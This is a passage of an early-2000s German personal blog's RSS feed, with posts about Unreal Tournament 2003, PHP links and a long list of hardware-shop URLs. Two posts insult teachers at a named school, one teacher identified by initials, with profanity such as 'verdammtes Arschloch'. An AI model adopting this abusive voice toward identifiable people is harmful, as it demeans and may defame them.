  18582.    <description><![CDATA[sehr schön finde ich, dass es ut 2003 auch für linux gibt. muss ich mal ausprobieren. vermutlich werde ich es aber nicht zum laufen kriegen ;-)<br><br>Unter Windows:<br>
  18583. ut2003.ini<br><br>
  18584. Language=det - grünes blut
  18585. <br>Language=eng - rotes blut
  18586. <br><br>;-)
  18587. ]]></description>
  18588.    <content:encoded><![CDATA[sehr schön finde ich, dass es ut 2003 auch für linux gibt. muss ich mal ausprobieren. vermutlich werde ich es aber nicht zum laufen kriegen ;-)<br><br>Unter Windows:<br>
  18589. ut2003.ini<br><br>
  18590. Language=det - grünes blut
  18591. <br>Language=eng - rotes blut
  18592. <br><br>;-)
  18593. ]]></content:encoded>
  18594.  </item>
  18595.  
  18596.  <item>
  18597.    <title>Feiger gehts nicht mehr ...</title>
  18598.    <link>https://blog.x-way.org/School/2002/09/14/Feiger_gehts_nicht_mehr_.html</link>
  18599.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=92</guid>
  18600.    <dc:creator>Andreas Jaggi</dc:creator>
  18601.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18602.    <pubDate>Sat, 14 Sep 2002 18:50:00 +0200</pubDate>
  18603.    <category domain="https://blog.x-way.org/School/">School</category>
  18604.    <description><![CDATA[Wird eine gewisse feige Person auf eine von ihr erfolgte schriftliche (da zu feige um mündlich etwas zu kritisieren) Reklamation angesprochen so heisst es, dass mit der schriftlichen Reklamation nicht jeder der Gruppe gemeint gewesen sei und dass man persönlich sich davon ausschliessen könne.<br>Wird jene feige Person aber von jemandem anderen der Gruppe auf die schriftliche Reklamation angesprochen, so erfolgt wieder die gleiche Antwort (nicht jeder gemeint, sich persoenlich davon ausnehmen etc.) und zusätzlich wird argumentiert, dass beispielsweise die Person (welche vorher mit der feigen Person gesprochen hatte und sich von der schriftlichen Reklamation ausnehmen könne) ihre Aufgaben nicht gemacht habe und diese mit der schriftlichen Reklamation gemeint sei!!!!<br>So geschehen an <a href="https://web.archive.org/web/20030209031229/www.gymhmsschadau.ch"><b>diesem Gymnasium</b></a>!<br><br>Herr ?? sie sind ein verdammtes Arschloch!<br>[Hier die schlimmstmöglichen Flüche, Beschimpfungen etc. einfügen und x mal wiederholen!]
  18605. ]]></description>
  18606.    <content:encoded><![CDATA[Wird eine gewisse feige Person auf eine von ihr erfolgte schriftliche (da zu feige um mündlich etwas zu kritisieren) Reklamation angesprochen so heisst es, dass mit der schriftlichen Reklamation nicht jeder der Gruppe gemeint gewesen sei und dass man persönlich sich davon ausschliessen könne.<br>Wird jene feige Person aber von jemandem anderen der Gruppe auf die schriftliche Reklamation angesprochen, so erfolgt wieder die gleiche Antwort (nicht jeder gemeint, sich persoenlich davon ausnehmen etc.) und zusätzlich wird argumentiert, dass beispielsweise die Person (welche vorher mit der feigen Person gesprochen hatte und sich von der schriftlichen Reklamation ausnehmen könne) ihre Aufgaben nicht gemacht habe und diese mit der schriftlichen Reklamation gemeint sei!!!!<br>So geschehen an <a href="https://web.archive.org/web/20030209031229/www.gymhmsschadau.ch"><b>diesem Gymnasium</b></a>!<br><br>Herr ?? sie sind ein verdammtes Arschloch!<br>[Hier die schlimmstmöglichen Flüche, Beschimpfungen etc. einfügen und x mal wiederholen!]
  18607. ]]></content:encoded>
  18608.  </item>
  18609.  
  18610.  <item>
  18611.    <title>UT 2003</title>
  18612.    <link>https://blog.x-way.org/Misc/2002/09/14/UT_2003.html</link>
  18613.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=91</guid>
  18614.    <dc:creator>Andreas Jaggi</dc:creator>
  18615.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18616.    <pubDate>Sat, 14 Sep 2002 18:17:00 +0200</pubDate>
  18617.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  18618.    <description><![CDATA[Verschlafen wie ich bin, habe ich erst jetzt bemerkt, dass seit heute Morgen eine (offizielle ;-) Demo von UT 2003 im Netz ist. Hoffentlich erscheint nun auch bald die Vollversion. Habe schon genug lange gewartet.
  18619. ]]></description>
  18620.    <content:encoded><![CDATA[Verschlafen wie ich bin, habe ich erst jetzt bemerkt, dass seit heute Morgen eine (offizielle ;-) Demo von UT 2003 im Netz ist. Hoffentlich erscheint nun auch bald die Vollversion. Habe schon genug lange gewartet.
  18621. ]]></content:encoded>
  18622.  </item>
  18623.  
  18624.  <item>
  18625.    <title>Kindergarten</title>
  18626.    <link>https://blog.x-way.org/School/2002/09/09/Kindergarten.html</link>
  18627.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=90</guid>
  18628.    <dc:creator>Andreas Jaggi</dc:creator>
  18629.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18630.    <pubDate>Mon, 09 Sep 2002 21:53:00 +0200</pubDate>
  18631.    <category domain="https://blog.x-way.org/School/">School</category>
  18632.    <description><![CDATA[<a href="https://blog.x-way.org/images/ko.gif"><b>So</b></a> kommt es, wenn Lehrer Kindergarten spielen.<br>Das Schönste daran ist jedoch, dass mir der Herr KO am besagten Freitag selbst versichert hat, dass es genügt, wenn ich ihm eine nachbearbeitete Version des Stadtplans von Bordeaux als Kopiervorlage abgebe. Aus dem Gespräch ist ganz klar (und mit beidseitiger Zustimmung) herausgegangen, dass ich diese Vorlage <b>nicht</b> am Freitag schon abgeben muss!<br><br>Es ist leider bedauerlich, dass gewisse Lehrpersonen nicht fähig sind einem mündlich etwas mitzuteilen und stattdessen ihre Unstimmigkeit nur <b>ganz feige und unfair</b> schriftlich mitteilen können.<br>Es gibt gewisse Lehrpersonen an <a href="https://web.archive.org/web/20030209031229/www.gymhmsschadau.ch"><b>diesem Gymnasium</b></a> die IMHO inkompetent und verdammt feige sind! [Hier ein besonders böses Schimpfwort einfügen]!
  18633. ]]></description>
  18634.    <content:encoded><![CDATA[<a href="https://blog.x-way.org/images/ko.gif"><b>So</b></a> kommt es, wenn Lehrer Kindergarten spielen.<br>Das Schönste daran ist jedoch, dass mir der Herr KO am besagten Freitag selbst versichert hat, dass es genügt, wenn ich ihm eine nachbearbeitete Version des Stadtplans von Bordeaux als Kopiervorlage abgebe. Aus dem Gespräch ist ganz klar (und mit beidseitiger Zustimmung) herausgegangen, dass ich diese Vorlage <b>nicht</b> am Freitag schon abgeben muss!<br><br>Es ist leider bedauerlich, dass gewisse Lehrpersonen nicht fähig sind einem mündlich etwas mitzuteilen und stattdessen ihre Unstimmigkeit nur <b>ganz feige und unfair</b> schriftlich mitteilen können.<br>Es gibt gewisse Lehrpersonen an <a href="https://web.archive.org/web/20030209031229/www.gymhmsschadau.ch"><b>diesem Gymnasium</b></a> die IMHO inkompetent und verdammt feige sind! [Hier ein besonders böses Schimpfwort einfügen]!
  18635. ]]></content:encoded>
  18636.  </item>
  18637.  
  18638.  <item>
  18639.    <title>What revolution Are You?</title>
  18640.    <link>https://blog.x-way.org/Misc/2002/09/07/What_revolution_Are_You.html</link>
  18641.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=89</guid>
  18642.    <dc:creator>Andreas Jaggi</dc:creator>
  18643.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18644.    <pubDate>Sat, 07 Sep 2002 00:52:00 +0200</pubDate>
  18645.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  18646.    <description><![CDATA[<br><img src="https://blog.x-way.org/images/rev05.jpg" width="340" height="180" alt="computer revolution"><br><br><a href="https://web.archive.org/web/20020913063841/http://www.verfall.net/quizz/revol/" target="_blank"><b>What revolution Are You?</b></a><br>Gefunden bei <a href="https://web.archive.org/web/20021004051645/http://www.monoklon.de/index.php"><b>monoklon.de</b></a>
  18647. ]]></description>
  18648.    <content:encoded><![CDATA[<br><img src="https://blog.x-way.org/images/rev05.jpg" width="340" height="180" alt="computer revolution"><br><br><a href="https://web.archive.org/web/20020913063841/http://www.verfall.net/quizz/revol/" target="_blank"><b>What revolution Are You?</b></a><br>Gefunden bei <a href="https://web.archive.org/web/20021004051645/http://www.monoklon.de/index.php"><b>monoklon.de</b></a>
  18649. ]]></content:encoded>
  18650.  </item>
  18651.  
  18652.  <item>
  18653.    <title>phptutorial</title>
  18654.    <link>https://blog.x-way.org/Coding/2002/09/07/phptutorial.html</link>
  18655.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=88</guid>
  18656.    <dc:creator>Andreas Jaggi</dc:creator>
  18657.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18658.    <pubDate>Sat, 07 Sep 2002 00:39:00 +0200</pubDate>
  18659.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  18660.    <description><![CDATA[Beim durchsurfen der Referrer ist mir in einem Googlequery <a href="https://web.archive.org/web/20020808074738/http://www.usegroup.de/software/phptutorial/index.html" target="_blank"><b>dieses Tutorial/Artikel über PHP</b></a> ins Auge gestochen. Eine IMHO gute Erklärung für Neueinstieger/Umsteiger.
  18661. ]]></description>
  18662.    <content:encoded><![CDATA[Beim durchsurfen der Referrer ist mir in einem Googlequery <a href="https://web.archive.org/web/20020808074738/http://www.usegroup.de/software/phptutorial/index.html" target="_blank"><b>dieses Tutorial/Artikel über PHP</b></a> ins Auge gestochen. Eine IMHO gute Erklärung für Neueinstieger/Umsteiger.
  18663. ]]></content:encoded>
  18664.  </item>
  18665.  
  18666.  <item>
  18667.    <title>PH(P)un</title>
  18668.    <link>https://blog.x-way.org/Coding/2002/09/06/PHPun.html</link>
  18669.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=87</guid>
  18670.    <dc:creator>Andreas Jaggi</dc:creator>
  18671.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18672.    <pubDate>Fri, 06 Sep 2002 12:14:00 +0200</pubDate>
  18673.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  18674.    <description><![CDATA[Via einem Link beim <a href="http://www.schockwellenreiter.de" target="_blank"><b>Schockwellenreiter</b></a> bin ich auf <a href="http://www.alistapart.com/stories/succeed/" target="_blank"><b>diesen Artikel</b></a> gestossen, welcher eine virtuelle Umwandlung von statischen in dynamische URLs beschreibt. Mit mod_rewrite!<br>Muss ich irgendwann einbauen, wann ich weniger Stress mit der Maturaarbeit habe. :-)
  18675. ]]></description>
  18676.    <content:encoded><![CDATA[Via einem Link beim <a href="http://www.schockwellenreiter.de" target="_blank"><b>Schockwellenreiter</b></a> bin ich auf <a href="http://www.alistapart.com/stories/succeed/" target="_blank"><b>diesen Artikel</b></a> gestossen, welcher eine virtuelle Umwandlung von statischen in dynamische URLs beschreibt. Mit mod_rewrite!<br>Muss ich irgendwann einbauen, wann ich weniger Stress mit der Maturaarbeit habe. :-)
  18677. ]]></content:encoded>
  18678.  </item>
  18679.  
  18680.  <item>
  18681.    <title>Damit man einmal weniger klicken muss</title>
  18682.    <link>https://blog.x-way.org/Tech/2002/09/05/Damit_man_einmal_weniger_klicken_muss.html</link>
  18683.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=86</guid>
  18684.    <dc:creator>Andreas Jaggi</dc:creator>
  18685.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18686.    <pubDate>Thu, 05 Sep 2002 20:02:00 +0200</pubDate>
  18687.    <category domain="https://blog.x-way.org/Tech/">Tech</category>
  18688.    <description><![CDATA[Da bei c't nicht direkt auf den entsprechenden Abschnitt gelinkt werden kann und ich die URLs noch länger aufheben will als bis zur nächsten c't Ausgabe, habe ich sie nun stinkfrech direkt aus dem Quelltext herauskopiert. :-)<br><br><a href="https://web.archive.org/web/20020905200200/http://www.carsten-buschmann.de/schallschutz/">http://www.carsten-buschmann.de/schallschutz/</a><br>
  18689. <a href="https://web.archive.org/web/20020905200200/http://12ghosts.com/de/silence/">http://12ghosts.com/de/silence/</a><br>
  18690. <a href="https://web.archive.org/web/20020905200200/http://haiko.de/kiste/">http://haiko.de/kiste/</a><br>
  18691. <a href="https://web.archive.org/web/20020905200200/http://www.noisecontrol.de">http://www.noisecontrol.de</a><br>
  18692. <a href="https://web.archive.org/web/20020905200200/http://www.alternate.de">http://www.alternate.de</a><br>
  18693. <a href="https://web.archive.org/web/20020905200200/http://www.aqua-computer.de">http://www.aqua-computer.de</a><br>
  18694. <a href="https://web.archive.org/web/20020905200200/http://www.avitos.de">http://www.avitos.de</a><br>
  18695. <a href="https://web.archive.org/web/20020905200200/http://www.blacknoise.com">http://www.blacknoise.com</a><br>
  18696. <a href="https://web.archive.org/web/20020905200200/http://www.chip-cooler.de">http://www.chip-cooler.de</a><br>
  18697. <a href="https://web.archive.org/web/20020905200200/http://www.comptronic.de">http://www.comptronic.de</a><br>
  18698. <a href="https://web.archive.org/web/20020905200200/http://www.extremcooling.de">http://www.extremcooling.de</a><br>
  18699. <a href="https://web.archive.org/web/20020905200200/http://www.frozen-silicon.de">http://www.frozen-silicon.de</a><br>
  18700. <a href="https://web.archive.org/web/20020905200200/http://www.pcsilent.de">http://www.pcsilent.de</a><br>
  18701. <a href="https://web.archive.org/web/20020905200200/http://www.hrt.de">http://www.hrt.de</a><br>
  18702. <a href="https://web.archive.org/web/20020905200200/http://www.intos.de">http://www.intos.de</a><br>
  18703. <a href="https://web.archive.org/web/20020905200200/http://www.lindenberger.de">http://www.lindenberger.de</a><br>
  18704. <a href="https://web.archive.org/web/20020905200200/http://www.listan.de">http://www.listan.de</a><br>
  18705. <a href="https://web.archive.org/web/20020905200200/http://www.madex.de">http://www.madex.de</a><br>
  18706. <a href="https://web.archive.org/web/20020905200200/http://www.maxbyte.de">http://www.maxbyte.de</a><br>
  18707. <a href="https://web.archive.org/web/20020905200200/http://www.oc-card.de">http://www.oc-card.de</a><br>
  18708. <a href="https://web.archive.org/web/20020905200200/http://www.overclockers.de">http://www.overclockers.de</a><br>
  18709. <a href="https://web.archive.org/web/20020905200200/http://www.pc-cooling.de">http://www.pc-cooling.de</a><br>
  18710. <a href="https://web.archive.org/web/20020905200200/http://www.smartcooler.de">http://www.smartcooler.de</a><br>
  18711. <a href="https://web.archive.org/web/20020905200200/http://www.watercool.de">http://www.watercool.de</a><br>
  18712. <a href="https://web.archive.org/web/20020905200200/http://www.watercooling.de">http://www.watercooling.de</a><br>
  18713. <a href="https://web.archive.org/web/20020905200200/http://www.multimediashop.de">http://www.multimediashop.de</a><br>
  18714. <a href="https://web.archive.org/web/20020905200200/http://www.matrox.com">http://www.matrox.com</a><br>
  18715. <a href="https://web.archive.org/web/20020905200200/http://www.videologic.de">http://www.videologic.de</a><br>
  18716. <a href="https://web.archive.org/web/20020905200200/http://www.elitegroup.de">http://www.elitegroup.de</a><br>
  18717. <a href="https://web.archive.org/web/20020905200200/http://www.gainward.de">http://www.gainward.de</a><br>
  18718. <a href="https://web.archive.org/web/20020905200200/http://www.cptech.com.tw">http://www.cptech.com.tw</a><br>
  18719. <a href="https://web.archive.org/web/20020905200200/http://www.connect3d.com">http://www.connect3d.com</a><br>
  18720. <a href="https://web.archive.org/web/20020905200200/http://www.pny.de">http://www.pny.de</a><br>
  18721. <a href="https://web.archive.org/web/20020905200200/http://www.sparkle.com.tw">http://www.sparkle.com.tw</a><br>
  18722. <a href="https://web.archive.org/web/20020905200200/http://www.maxtor.com">http://www.maxtor.com</a><br>
  18723. <a href="https://web.archive.org/web/20020905200200/http://www.samsung.de">http://www.samsung.de</a><br>
  18724. <a href="https://web.archive.org/web/20020905200200/http://www.seagate.com">http://www.seagate.com</a><br>
  18725. <a href="https://web.archive.org/web/20020905200200/http://www.sony.de">http://www.sony.de</a><br>
  18726. <a href="https://web.archive.org/web/20020905200200/http://www.toshiba.de">http://www.toshiba.de</a><br>
  18727. <a href="https://web.archive.org/web/20020905200200/http://www.lge.de">http://www.lge.de</a><br>
  18728. <a href="https://web.archive.org/web/20020905200200/http://www.papst.de">http://www.papst.de</a><br>
  18729. <a href="https://web.archive.org/web/20020905200200/http://www.verax.de">http://www.verax.de</a><br>
  18730. <a href="https://web.archive.org/web/20020905200200/http://www.akasa.com.tw">http://www.akasa.com.tw</a><br>
  18731. <a href="https://web.archive.org/web/20020905200200/http://www.ystech.com.tw">http://www.ystech.com.tw</a><br>
  18732. <a href="https://web.archive.org/web/20020905200200/http://www.blacknoise.de">http://www.blacknoise.de</a><br>
  18733. <a href="https://web.archive.org/web/20020905200200/http://www.silentsystems.de">http://www.silentsystems.de</a><br>
  18734. <a href="https://web.archive.org/web/20020905200200/http://www.viatech.com">http://www.viatech.com</a><br>
  18735. <a href="https://web.archive.org/web/20020905200200/http://www.digitallogic.com">http://www.digitallogic.com</a><br>
  18736. <a href="https://web.archive.org/web/20020905200200/http://www.fujitsu-siemens.de">http://www.fujitsu-siemens.de</a><br>
  18737. <a href="https://web.archive.org/web/20020905200200/http://www.hewlett-packard.de">http://www.hewlett-packard.de</a><br>
  18738. <a href="https://web.archive.org/web/20020905200200/http://www.leo-computer.de">http://www.leo-computer.de</a><br>
  18739. <a href="https://web.archive.org/web/20020905200200/http://www.ley-ecd.de">http://www.ley-ecd.de</a><br>
  18740. <a href="https://web.archive.org/web/20020905200200/http://www.lintec.de">http://www.lintec.de</a><br>
  18741. <a href="https://web.archive.org/web/20020905200200/http://www.tarox.de">http://www.tarox.de</a><br>
  18742. <a href="https://web.archive.org/web/20020905200200/http://www.terra.de">http://www.terra.de</a><br>
  18743. <a href="https://web.archive.org/web/20020905200200/http://www.morex.com.tw">http://www.morex.com.tw</a><br>
  18744. <a href="https://web.archive.org/web/20020905200200/http://www.noisebuster.de">http://www.noisebuster.de</a><br>
  18745. <a href="https://web.archive.org/web/20020905200200/http://www.analogonline.de">http://www.analogonline.de</a><br>
  18746. <a href="https://web.archive.org/web/20020905200200/http://www.dobertgmbh.de">http://www.dobertgmbh.de</a><br>
  18747. <a href="https://web.archive.org/web/20020905200200/http://www.engelking-elektronik.de">http://www.engelking-elektronik.de</a><br>
  18748. <a href="https://web.archive.org/web/20020905200200/http://www.deltatronic.info">http://www.deltatronic.info</a><br>
  18749. <a href="https://web.archive.org/web/20020905200200/http://www.seasonic.com">http://www.seasonic.com</a><br>
  18750. <a href="https://web.archive.org/web/20020905200200/http://www.enermax.com.tw">http://www.enermax.com.tw</a><br>
  18751. <a href="https://web.archive.org/web/20020905200200/http://www.xelo.net">http://www.xelo.net</a><br>
  18752. <a href="https://web.archive.org/web/20020905200200/http://www.club-3d.de">http://www.club-3d.de</a><br>
  18753. <a href="https://web.archive.org/web/20020905200200/http://www.hightech.com.hk">http://www.hightech.com.hk</a><br>
  18754. <a href="https://web.archive.org/web/20020905200200/http://www.sapphiretech.com">http://www.sapphiretech.com</a><br>
  18755. <a href="https://web.archive.org/web/20020905200200/http://www.prolink.com.tw">http://www.prolink.com.tw</a><br>
  18756. <a href="https://web.archive.org/web/20020905200200/http://www.creative.com">http://www.creative.com</a><br>
  18757. <a href="https://web.archive.org/web/20020905200200/http://www.aopencom.de">http://www.aopencom.de</a><br>
  18758. <a href="https://web.archive.org/web/20020905200200/http://www.msi-technology.de">http://www.msi-technology.de</a><br>
  18759. <a href="https://web.archive.org/web/20020905200200/http://www.visiontek.com">http://www.visiontek.com</a><br>
  18760. <a href="https://web.archive.org/web/20020905200200/http://www.asuscom.de">http://www.asuscom.de</a><br>
  18761. ]]></description>
  18762.    <content:encoded><![CDATA[Da bei c't nicht direkt auf den entsprechenden Abschnitt gelinkt werden kann und ich die URLs noch länger aufheben will als bis zur nächsten c't Ausgabe, habe ich sie nun stinkfrech direkt aus dem Quelltext herauskopiert. :-)<br><br><a href="https://web.archive.org/web/20020905200200/http://www.carsten-buschmann.de/schallschutz/">http://www.carsten-buschmann.de/schallschutz/</a><br>
  18763. <a href="https://web.archive.org/web/20020905200200/http://12ghosts.com/de/silence/">http://12ghosts.com/de/silence/</a><br>
  18764. <a href="https://web.archive.org/web/20020905200200/http://haiko.de/kiste/">http://haiko.de/kiste/</a><br>
  18765. <a href="https://web.archive.org/web/20020905200200/http://www.noisecontrol.de">http://www.noisecontrol.de</a><br>
  18766. <a href="https://web.archive.org/web/20020905200200/http://www.alternate.de">http://www.alternate.de</a><br>
  18767. <a href="https://web.archive.org/web/20020905200200/http://www.aqua-computer.de">http://www.aqua-computer.de</a><br>
  18768. <a href="https://web.archive.org/web/20020905200200/http://www.avitos.de">http://www.avitos.de</a><br>
  18769. <a href="https://web.archive.org/web/20020905200200/http://www.blacknoise.com">http://www.blacknoise.com</a><br>
  18770. <a href="https://web.archive.org/web/20020905200200/http://www.chip-cooler.de">http://www.chip-cooler.de</a><br>
  18771. <a href="https://web.archive.org/web/20020905200200/http://www.comptronic.de">http://www.comptronic.de</a><br>
  18772. <a href="https://web.archive.org/web/20020905200200/http://www.extremcooling.de">http://www.extremcooling.de</a><br>
  18773. <a href="https://web.archive.org/web/20020905200200/http://www.frozen-silicon.de">http://www.frozen-silicon.de</a><br>
  18774. <a href="https://web.archive.org/web/20020905200200/http://www.pcsilent.de">http://www.pcsilent.de</a><br>
  18775. <a href="https://web.archive.org/web/20020905200200/http://www.hrt.de">http://www.hrt.de</a><br>
  18776. <a href="https://web.archive.org/web/20020905200200/http://www.intos.de">http://www.intos.de</a><br>
  18777. <a href="https://web.archive.org/web/20020905200200/http://www.lindenberger.de">http://www.lindenberger.de</a><br>
  18778. <a href="https://web.archive.org/web/20020905200200/http://www.listan.de">http://www.listan.de</a><br>
  18779. <a href="https://web.archive.org/web/20020905200200/http://www.madex.de">http://www.madex.de</a><br>
  18780. <a href="https://web.archive.org/web/20020905200200/http://www.maxbyte.de">http://www.maxbyte.de</a><br>
  18781. <a href="https://web.archive.org/web/20020905200200/http://www.oc-card.de">http://www.oc-card.de</a><br>
  18782. <a href="https://web.archive.org/web/20020905200200/http://www.overclockers.de">http://www.overclockers.de</a><br>
  18783. <a href="https://web.archive.org/web/20020905200200/http://www.pc-cooling.de">http://www.pc-cooling.de</a><br>
  18784. <a href="https://web.archive.org/web/20020905200200/http://www.smartcooler.de">http://www.smartcooler.de</a><br>
  18785. <a href="https://web.archive.org/web/20020905200200/http://www.watercool.de">http://www.watercool.de</a><br>
  18786. <a href="https://web.archive.org/web/20020905200200/http://www.watercooling.de">http://www.watercooling.de</a><br>
  18787. <a href="https://web.archive.org/web/20020905200200/http://www.multimediashop.de">http://www.multimediashop.de</a><br>
  18788. <a href="https://web.archive.org/web/20020905200200/http://www.matrox.com">http://www.matrox.com</a><br>
  18789. <a href="https://web.archive.org/web/20020905200200/http://www.videologic.de">http://www.videologic.de</a><br>
  18790. <a href="https://web.archive.org/web/20020905200200/http://www.elitegroup.de">http://www.elitegroup.de</a><br>
  18791. <a href="https://web.archive.org/web/20020905200200/http://www.gainward.de">http://www.gainward.de</a><br>
  18792. <a href="https://web.archive.org/web/20020905200200/http://www.cptech.com.tw">http://www.cptech.com.tw</a><br>
  18793. <a href="https://web.archive.org/web/20020905200200/http://www.connect3d.com">http://www.connect3d.com</a><br>
  18794. <a href="https://web.archive.org/web/20020905200200/http://www.pny.de">http://www.pny.de</a><br>
  18795. <a href="https://web.archive.org/web/20020905200200/http://www.sparkle.com.tw">http://www.sparkle.com.tw</a><br>
  18796. <a href="https://web.archive.org/web/20020905200200/http://www.maxtor.com">http://www.maxtor.com</a><br>
  18797. <a href="https://web.archive.org/web/20020905200200/http://www.samsung.de">http://www.samsung.de</a><br>
  18798. <a href="https://web.archive.org/web/20020905200200/http://www.seagate.com">http://www.seagate.com</a><br>
  18799. <a href="https://web.archive.org/web/20020905200200/http://www.sony.de">http://www.sony.de</a><br>
  18800. <a href="https://web.archive.org/web/20020905200200/http://www.toshiba.de">http://www.toshiba.de</a><br>
  18801. <a href="https://web.archive.org/web/20020905200200/http://www.lge.de">http://www.lge.de</a><br>
  18802. <a href="https://web.archive.org/web/20020905200200/http://www.papst.de">http://www.papst.de</a><br>
  18803. <a href="https://web.archive.org/web/20020905200200/http://www.verax.de">http://www.verax.de</a><br>
  18804. <a href="https://web.archive.org/web/20020905200200/http://www.akasa.com.tw">http://www.akasa.com.tw</a><br>
  18805. <a href="https://web.archive.org/web/20020905200200/http://www.ystech.com.tw">http://www.ystech.com.tw</a><br>
  18806. <a href="https://web.archive.org/web/20020905200200/http://www.blacknoise.de">http://www.blacknoise.de</a><br>
  18807. <a href="https://web.archive.org/web/20020905200200/http://www.silentsystems.de">http://www.silentsystems.de</a><br>
  18808. <a href="https://web.archive.org/web/20020905200200/http://www.viatech.com">http://www.viatech.com</a><br>
  18809. <a href="https://web.archive.org/web/20020905200200/http://www.digitallogic.com">http://www.digitallogic.com</a><br>
  18810. <a href="https://web.archive.org/web/20020905200200/http://www.fujitsu-siemens.de">http://www.fujitsu-siemens.de</a><br>
  18811. <a href="https://web.archive.org/web/20020905200200/http://www.hewlett-packard.de">http://www.hewlett-packard.de</a><br>
  18812. <a href="https://web.archive.org/web/20020905200200/http://www.leo-computer.de">http://www.leo-computer.de</a><br>
  18813. <a href="https://web.archive.org/web/20020905200200/http://www.ley-ecd.de">http://www.ley-ecd.de</a><br>
  18814. <a href="https://web.archive.org/web/20020905200200/http://www.lintec.de">http://www.lintec.de</a><br>
  18815. <a href="https://web.archive.org/web/20020905200200/http://www.tarox.de">http://www.tarox.de</a><br>
  18816. <a href="https://web.archive.org/web/20020905200200/http://www.terra.de">http://www.terra.de</a><br>
  18817. <a href="https://web.archive.org/web/20020905200200/http://www.morex.com.tw">http://www.morex.com.tw</a><br>
  18818. <a href="https://web.archive.org/web/20020905200200/http://www.noisebuster.de">http://www.noisebuster.de</a><br>
  18819. <a href="https://web.archive.org/web/20020905200200/http://www.analogonline.de">http://www.analogonline.de</a><br>
  18820. <a href="https://web.archive.org/web/20020905200200/http://www.dobertgmbh.de">http://www.dobertgmbh.de</a><br>
  18821. <a href="https://web.archive.org/web/20020905200200/http://www.engelking-elektronik.de">http://www.engelking-elektronik.de</a><br>
  18822. <a href="https://web.archive.org/web/20020905200200/http://www.deltatronic.info">http://www.deltatronic.info</a><br>
  18823. <a href="https://web.archive.org/web/20020905200200/http://www.seasonic.com">http://www.seasonic.com</a><br>
  18824. <a href="https://web.archive.org/web/20020905200200/http://www.enermax.com.tw">http://www.enermax.com.tw</a><br>
  18825. <a href="https://web.archive.org/web/20020905200200/http://www.xelo.net">http://www.xelo.net</a><br>
  18826. <a href="https://web.archive.org/web/20020905200200/http://www.club-3d.de">http://www.club-3d.de</a><br>
  18827. <a href="https://web.archive.org/web/20020905200200/http://www.hightech.com.hk">http://www.hightech.com.hk</a><br>
  18828. <a href="https://web.archive.org/web/20020905200200/http://www.sapphiretech.com">http://www.sapphiretech.com</a><br>
  18829. <a href="https://web.archive.org/web/20020905200200/http://www.prolink.com.tw">http://www.prolink.com.tw</a><br>
  18830. <a href="https://web.archive.org/web/20020905200200/http://www.creative.com">http://www.creative.com</a><br>
  18831. <a href="https://web.archive.org/web/20020905200200/http://www.aopencom.de">http://www.aopencom.de</a><br>
  18832. <a href="https://web.archive.org/web/20020905200200/http://www.msi-technology.de">http://www.msi-technology.de</a><br>
  18833. <a href="https://web.archive.org/web/20020905200200/http://www.visiontek.com">http://www.visiontek.com</a><br>
  18834. <a href="https://web.archive.org/web/20020905200200/http://www.asuscom.de">http://www.asuscom.de</a><br>
  18835. ]]></content:encoded>
  18836.  </item>
  18837.  
  18838.  <item>
  18839.    <title>Noch mehr E-Commerce ...</title>
  18840.    <link>https://blog.x-way.org/Tech/2002/09/05/Noch_mehr_E-Commerce_.html</link>
  18841.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=85</guid>
  18842.    <dc:creator>Andreas Jaggi</dc:creator>
  18843.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  18844.    <pubDate>Thu, 05 Sep 2002 19:54:00 +0200</pubDate>
  18845.    <category domain="https://blog.x-way.org/Tech/">Tech</category>
  18846.    <description><![CDATA[Gestern, nach dem tödlichen Triathlon, welcher laut <b>wissen.de</b> eine Extremsportart ist, hatte ich mir die aktuelle Ausgabe von <a href="http://www.heise.de/ct/" target="_blank"><b>c't</b></a> gekauft und musste feststellen, dass auf Seite 112 unten links eine ähnliche Liste von Online-Shops steht, wie ich <a href="http://www.waterwave.ch/weblog/detail.php?id=82" target="_blank"><b>hier eine</b></a> gemacht hatte. Eine kleine Recherche ergab dann, dass <a href="https://web.archive.org/web/20020802013001/http://www.heise.de/ct/urls/" target="_blank"><b>hier</b></a> sämtliche Links des Artikels aufgelistet sind. Viel Vergnügen beim Preisvergleich!
  18847. ]]></description>
  18848.    <content:encoded><![CDATA[Gestern, nach dem tödlichen Triathlon, welcher laut <b>wissen.de</b> eine Extremsportart ist, hatte ich mir die aktuelle Ausgabe von <a href="http://www.heise.de/ct/" target="_blank"><b>c't</b></a> gekauft und musste feststellen, dass auf Seite 112 unten links eine ähnliche Liste von Online-Shops steht, wie ich <a href="http://www.waterwave.ch/weblog/detail.php?id=82" target="_blank"><b>hier eine</b></a> gemacht hatte. Eine kleine Recherche ergab dann, dass <a href="https://web.archive.org/web/20020802013001/http://www.heise.de/ct/urls/" target="_blank"><b>hier</b></a> sämtliche Links des Artikels aufgelistet sind. Viel Vergnügen beim Preisvergleich!
  18849. ]]></content:encoded>
  18850.  </item>
  18851.  
  18852.  <item>
  18853.    <title>Das blaue Wunder</title>
  18854.    <link>https://blog.x-way.org/Misc/2002/09/05/Das_blaue_Wunder.html</link>
  18855.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=84</guid>
